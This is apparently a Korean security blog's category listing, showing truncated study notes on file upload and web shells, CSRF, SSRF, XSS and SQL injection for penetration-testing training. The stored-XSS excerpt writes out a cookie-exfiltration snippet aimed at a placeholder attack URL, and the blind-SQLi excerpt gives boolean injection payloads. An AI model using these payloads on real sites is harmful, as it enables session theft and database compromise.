Security/Study

Security/Study

[10주차] File Upload / 모의해킹 시 주의해야할 점

File Upload what : 공격자가 임의의 파일을 업로드 할 수 있는 공격 → 웹 쉘 → 서버 장악 ** Point 1. 우리가 웹 서버에서 실행할 수 있는 파일 2. 실행할 수 있어야 한다. → 업로드 된 파일의 위치를 알아야 한다. 파일의 위치 아는 법 1. 내가 올린 파일을 다운로드 받아본다. 우클릭 이미지 경로 복사 2. 개발자 도구 3. Burp Suite 확인(img 옵션 체크!) 다운로드 할 수 없다면 1. SQL Injection 2. HTML 소스코드 주석 살펴보기 web shell로 무엇을 하나? ** 소스코드 탈취 → 취약점 찾기 위해서도 있지만 DB를 탈취하기 위해서 DB 계정 정보가 소스코드 안에 있다. ** Reverse Shell Bypass Trick 1. Conten..

Security/Study

[9주차] CSRF / SSRF / File Upload

CSRF - CSRF 공격 → 서버 측 공격 - XSS 공격 다른거에요? → 클라이언트 측 공격 - where → 모든 요청. 공격 기법 (1) GET Method → URL 만들어서 클릭유도. → 로그인 한 다음에 볼 수 있는 페이지. (2) POST MEthod → 무조건 XSS -> 같은 도메인에서. 왜 꼭 같은 도메인?! -> 세션을 이용하기 위해서! (3) Referer Bypass → meta (4) CSRF Token → 요청을 위조 할 수 있다. → XSS : Bypass 가능. 대응 방안 (1) 지키고자하는 요청에서 인증정보 추가. (2) 게시판 - Referer Check, CSRF Token - captcha 목적 : 자동화 공격을 막기 위해서. SSRF Server Side Requ..

Security/Study

[8주차] CSRF(Cross Site Request Forgery)

CSRF(Cross Site Request Forgery) * 피해자의 세션을 활용. 발생하는 곳 → 게시판,메일함 등 * 어디서 발생하는가? → 모든 요청에서 발생하지만 민감한 요청을 구별해야한다. ex) 비밀번호 변경, 이메일주소 변경. 관리자 계정 등록... [1] GET Method http://url?id=&info=&pw=1111 get 요청으로 비밀번호 1111로 변경. [2] POST Method → XSS 취약점을 활용 XSS → 클라이언트 측 브라우저에서 실행되는 스크립트를 삽입하는 공격 CSRF → 피해자가 자신의 의도와는 다르게, 자신도 모르게 서버로 임의의 요청을 하게 만드는 공격 Why? CSRF에 POST Method를 전송할려면 tag 필요. [3] Referer Check?..

Security/Study

[7주차] Reflected XSS / DOM Based XSS

Reflected XSS Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 대표적으로 게시판 서비스의 검색창에서 스크립트를 포함해 검색하는 방식이 있다. 이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환. 일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다. Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생. 따라서 공격을 위해서는 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 한다. 사회공학기법이 요구된다. ex) 스미싱 GET 방식으로 되어야 한다. 모든 페이지. 모든 파라미터에서 일어날 수 있다. ..

Security/Study

[6주차] Stored XSS

XSS XSS(클라이언트 사이드 취약점)은 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다. 해당 종류의 취약점을 통해 이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다. ** Server Side vs Client Side -> 서버에서 실행되는 코드 -> 클라이언트 측에서 실행되는 코드(웹 브라우저) HTML, css, javascript ** WEB Request var i = new Image(); i.src = "attack URL?cookie=" + document.cookie; -> 클라이언트 측 코드를 삽입하는 공격 -> 피해자 컴퓨터 (웹 브라우저) 실행되게 만드는 공격 > 클라이언트는 이미지를 불러오는 과정에서 javascript..

Security/Study

[5주차] Blind SQL Injection / 대응방안

Blind SQLi * 공격 위치? -> DB 결과가 화면에 안나오는 곳. -> Error based 에러가 안나오는 곳 -> 모든 곳에서 가능 : SQL 질의문의 참과 거짓의 조건으로 데이터를 추출하는 기법 * 일어나는 곳 > 참과 거짓 조건에 따라 응답이 다른 곳! -> 어떻게든 다르면 됨. -> title like '%___%' 추측 overwatch%' and '1%' = '1 참 overwatch%' and '1%' = '2 거짓 응답값 비교할 때 Comparer, Repeator Auto overwatch%' and (1=1) and '1%' = '1 -> 공격 포맷이 수월하다. ex) 에러페이지 -> custom error page ex) 데이터 정렬 순서 * 필요 지식 문법 (1) limi..

Security/Study

[4주차] Union, Error Based SQL Injection

Union SQL Injection 1) SQL 질의문이 화면에 보이는 곳 ex) 게시판, 회원정보(마이페이지), 주소검색 등 2) SQL 질의문이 화면에 안나오는 곳 ex) 로그인, 아이디 중복체크 1) SQL 질의문이 화면에 보이는 곳 UNION SQL Injection * 지켜야할 사항 > 앞에 있는 select문과 뒤에 있는 select문의 컬럼이 같아야한다. > 각 위치에 맞는 컬럼 타입도 같아야한다. select id,pass from member union select id, title from board SQL Injection을 시작하기 전에... 서버가 어떤 SQL 질의문 사용하는지 추측 (1) 추측 select ???? from ???? where name like '%___%' (2..

Security/Study

[3주차] SQL Injection

SQL WAS DB WAS와 DB가 대화할 때 쓰는 언어. 엑셀 비유 database = 엑셀 파일 table = 엑셀 시트 column = 열 row = 행 SELECT select [컬럼 이름] from [테이블 이름] where 조건(컬럼이름 = 데이터) 로그인 인증 과정 식별 : 많은 데이터 중에서 특정한 데이터를 가려내는 것. 식별 정보 : ID -> 중복X 인증 : 그 사람이 맞는지 확인 인증 정보 : 비밀번호 1. 식별 & 인증 동시 CASE select * from member where id='' and pass=''; if(그 결과가 존재하면){ 로그인 성공 }else{ 로그인 실패 } 2. 식별&인증 분리 CASE select pass from member where id=''; if..

brains88
'Security/Study' 카테고리의 글 목록